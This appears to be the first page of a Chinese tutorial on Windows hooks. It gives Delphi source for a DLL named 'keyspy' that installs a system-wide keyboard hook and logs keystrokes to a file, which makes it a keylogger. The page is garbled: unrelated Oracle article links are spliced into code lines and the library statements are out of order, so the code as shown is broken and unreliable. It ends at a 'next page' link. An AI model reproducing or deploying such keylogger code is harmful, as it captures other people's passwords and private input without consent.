一、hook(钩子)的实现:
hook是应用程序在microsoft windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果hook过程在应用程序中实现,若应用程序不是当前窗口时,该hook就不起作用;如果hook在dll中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在dll中实现hook的方式。
library keyspy; 【相关文章:通过JDBC连接oracle数据库】
1.新建一个导出两个函数的dll文件,在hookproc.pas中定义了钩子具体实现过程。代码如下: 【扩展阅读:Oracle数据字典说明】
windows, messages, hookproc in ’hookproc.pas’; 【扩展信息:Oracle数据库强制索引】
uses
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
windows, messages, sysutils, controls, stdctrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename=’c:debug.txt’;//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
... 下一页